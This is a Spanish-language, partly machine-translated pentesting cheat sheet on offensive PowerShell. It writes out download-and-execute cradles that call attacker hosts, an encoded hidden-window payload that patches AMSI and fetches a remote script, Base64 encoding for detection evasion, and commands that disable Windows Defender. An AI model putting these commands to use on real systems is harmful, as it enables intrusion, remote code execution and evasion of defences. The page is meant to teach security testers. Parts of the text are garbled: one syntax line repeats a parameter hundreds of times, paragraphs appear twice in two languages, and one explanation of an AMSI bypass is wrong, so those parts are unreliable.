96 KiB
PowerShell básico para pentesters
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el merchandising oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Ubicaciones predeterminadas de PowerShell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Comandos básicos de PS para comenzar
PowerShell (PS) es una poderosa herramienta de línea de comandos y scripting que se utiliza ampliamente en entornos de Windows. Aquí hay algunos comandos básicos de PS que te ayudarán a comenzar:
Obtener información del sistema
Get-Host
: Muestra información sobre la versión de PowerShell que estás utilizando.Get-Process
: Muestra una lista de los procesos en ejecución en el sistema.Get-Service
: Muestra una lista de los servicios en ejecución en el sistema.Get-EventLog
: Muestra los registros de eventos del sistema.
Navegar por el sistema de archivos
Get-ChildItem
: Muestra una lista de los archivos y carpetas en un directorio específico.Set-Location
: Cambia el directorio actual.Copy-Item
: Copia un archivo o carpeta a una ubicación específica.Move-Item
: Mueve un archivo o carpeta a una ubicación específica.Remove-Item
: Elimina un archivo o carpeta.
Administrar usuarios y grupos
Get-LocalUser
: Muestra una lista de los usuarios locales en el sistema.New-LocalUser
: Crea un nuevo usuario local.Remove-LocalUser
: Elimina un usuario local.Get-LocalGroup
: Muestra una lista de los grupos locales en el sistema.Add-LocalGroupMember
: Agrega un usuario a un grupo local.Remove-LocalGroupMember
: Elimina un usuario de un grupo local.
Administrar permisos
Get-Acl
: Muestra los permisos de un archivo o carpeta.Set-Acl
: Establece los permisos de un archivo o carpeta.Get-NTFSAccess
: Muestra los permisos NTFS de un archivo o carpeta.Set-NTFSAccess
: Establece los permisos NTFS de un archivo o carpeta.
Estos son solo algunos de los comandos básicos de PS que puedes utilizar para administrar y obtener información del sistema. ¡Explora más y descubre todo el potencial de PowerShell!
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Descargar y Ejecutar
To download and execute a file using PowerShell, you can use the following command:
Para descargar y ejecutar un archivo utilizando PowerShell, puedes utilizar el siguiente comando:
Invoke-WebRequest -Uri <URL> -OutFile <output file>; .\<output file>
Replace <URL>
with the URL of the file you want to download, and <output file>
with the desired name for the downloaded file.
Reemplaza <URL>
con la URL del archivo que deseas descargar, y <output file>
con el nombre deseado para el archivo descargado.
This command uses the Invoke-WebRequest
cmdlet to download the file from the specified URL and save it to the local system. The -OutFile
parameter specifies the name of the output file.
Este comando utiliza el cmdlet Invoke-WebRequest
para descargar el archivo desde la URL especificada y guardarlo en el sistema local. El parámetro -OutFile
especifica el nombre del archivo de salida.
After downloading the file, the second part of the command .\<output file>
executes the downloaded file.
Después de descargar el archivo, la segunda parte del comando .\<output file>
ejecuta el archivo descargado.
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Descargar y ejecutar en segundo plano con bypass de AMSI
This technique allows you to download and execute a file in the background while bypassing the Antimalware Scan Interface (AMSI) in Windows.
Requirements
- PowerShell version 5.1 or higher
- Internet access
Instructions
-
Open a PowerShell session as an administrator.
-
Run the following command to download the file and save it to a temporary location:
Invoke-WebRequest -Uri "URL" -OutFile "C:\Temp\file.exe"
Replace "URL" with the actual URL of the file you want to download.
- Use the following command to bypass AMSI and execute the downloaded file in the background:
$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, @())
Make sure to replace "C:\Temp\file.exe" with the actual path and filename of the downloaded file.
- The file will be executed in the background without triggering any AMSI alerts.
Note: This technique is for educational purposes only and should not be used for any malicious activities.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Usando b64 en Linux
El comando b64
es una herramienta útil para codificar y decodificar archivos en base64 en sistemas Linux. Puede ser utilizado por los pentesters para realizar diversas tareas durante una prueba de penetración.
Codificar un archivo en base64
Para codificar un archivo en base64, puedes utilizar el siguiente comando:
b64 -e archivo > archivo_codificado
Esto tomará el archivo especificado y generará un nuevo archivo llamado archivo_codificado
que contendrá la versión codificada en base64 del archivo original.
Decodificar un archivo en base64
Si deseas decodificar un archivo en base64, puedes utilizar el siguiente comando:
b64 -d archivo_codificado > archivo_decodificado
Esto tomará el archivo codificado en base64 especificado y generará un nuevo archivo llamado archivo_decodificado
que contendrá la versión decodificada del archivo original.
Codificar y decodificar texto en base64
Además de archivos, también puedes utilizar b64
para codificar y decodificar texto en base64. Para codificar un texto, puedes utilizar el siguiente comando:
echo "texto" | b64 -e
Esto imprimirá la versión codificada en base64 del texto especificado.
Para decodificar un texto en base64, puedes utilizar el siguiente comando:
echo "texto_codificado" | b64 -d
Esto imprimirá la versión decodificada del texto en base64 especificado.
Recuerda que el comando b64
está disponible en sistemas Linux y puede ser una herramienta útil para realizar diversas tareas durante una prueba de penetración.
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Descargar
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
El comando Invoke-WebRequest
se utiliza en PowerShell para enviar solicitudes HTTP a un servidor web y recibir respuestas. Puede ser utilizado por los pentesters para realizar pruebas de penetración en aplicaciones web.
Sintaxis
Invoke-WebRequest [-Uri] <string> [-Method <string>] [-Headers <hashtable>] [-Body <string>] [-ContentType <string>] [-UserAgent <string>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-TimeoutSec <int>] [-SessionVariable <string>] [-WebSession <WebRequestSession>] [-UseBasicParsing] [-DisableKeepAlive] [-SkipCertificateCheck] [-MaximumRedirection <int>] [-MaximumRetryCount <int>] [-MaximumRetryIntervalSec <int>] [-ProxyUseDefaultCredentials] [-ProxyByPassList <string[]>] [-ProxyByPassProxy] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>]
```powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading. Wget is available for various operating systems, including Windows.
To use Wget, you need to open a command prompt or PowerShell window and enter the appropriate command. Here are some common examples:
- Download a file:
wget [URL]
- Download a file and save it with a different name:
wget -O [output file] [URL]
- Download multiple files:
wget [URL1] [URL2] [URL3]
- Download a file and continue an interrupted download:
wget -c [URL]
- Download a file and limit the download speed:
wget --limit-rate=[speed] [URL]
- Download a file and specify the user agent:
wget --user-agent="[user agent]" [URL]
- Download a file and specify the referer:
wget --referer="[referer URL]" [URL]
- Download a file and specify the output directory:
wget --directory-prefix=[directory] [URL]
These are just a few examples of what you can do with Wget. It is a powerful tool that can be used for various purposes in your pentesting activities.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
BitsTransfer es un módulo de PowerShell que permite la transferencia de archivos en segundo plano utilizando el servicio de transferencia inteligente en segundo plano (BITS) de Windows. BITS es un protocolo de transferencia de archivos que se ejecuta en el sistema operativo Windows y permite la transferencia de archivos de manera eficiente y confiable, incluso en condiciones de red adversas.
BitsTransfer proporciona una interfaz de línea de comandos para administrar las transferencias de archivos utilizando BITS. Esto puede ser útil para los pentesters, ya que les permite transferir archivos de forma discreta y eficiente durante una prueba de penetración.
Algunos comandos útiles de BitsTransfer incluyen:
Start-BitsTransfer
: Inicia una transferencia de archivo utilizando BITS.Get-BitsTransfer
: Obtiene información sobre las transferencias de archivos en curso.Complete-BitsTransfer
: Completa una transferencia de archivo en curso.Remove-BitsTransfer
: Elimina una transferencia de archivo en curso.
BitsTransfer es una herramienta poderosa que puede ser utilizada por los pentesters para transferir archivos de manera sigilosa y eficiente durante una prueba de penetración en sistemas Windows.
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali y EncodedCommand
En algunas situaciones, como durante una prueba de penetración, es posible que necesitemos codificar comandos de PowerShell para evitar la detección por parte de los sistemas de seguridad. Una técnica comúnmente utilizada es la codificación Base64.
En Kali Linux, podemos utilizar la herramienta base64
para codificar nuestros comandos de PowerShell. Aquí hay un ejemplo de cómo hacerlo:
echo "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/malicious.ps1')" | base64
Esto codificará el comando de PowerShell en Base64. Luego, podemos copiar el resultado codificado y utilizarlo en nuestro ataque.
Una vez que tenemos el comando codificado en Base64, podemos ejecutarlo en un sistema Windows utilizando el parámetro -EncodedCommand
de PowerShell. Aquí hay un ejemplo de cómo hacerlo:
powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AGUAbQBlACgAJwBoAHQAdABwADoALwAvAGEAdAB0AGMAawBpAG4AdABlAHIALgBjAG8AbQAvAG0AYQBsAGkAYwBpAGEAcwBwADEAJwApACkA
Esto ejecutará el comando codificado en Base64 en el sistema Windows objetivo.
Recuerda que el uso de técnicas de codificación como esta puede ayudar a evadir la detección, pero no garantiza el éxito. Es importante tener en cuenta las medidas de seguridad y la legalidad al realizar pruebas de penetración.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Política de ejecución
Lenguaje restringido
Política de AppLocker
Habilitar WinRM (PS remoto)
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Desactivar Defender
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
Bypass de AMSI
amsi.dll
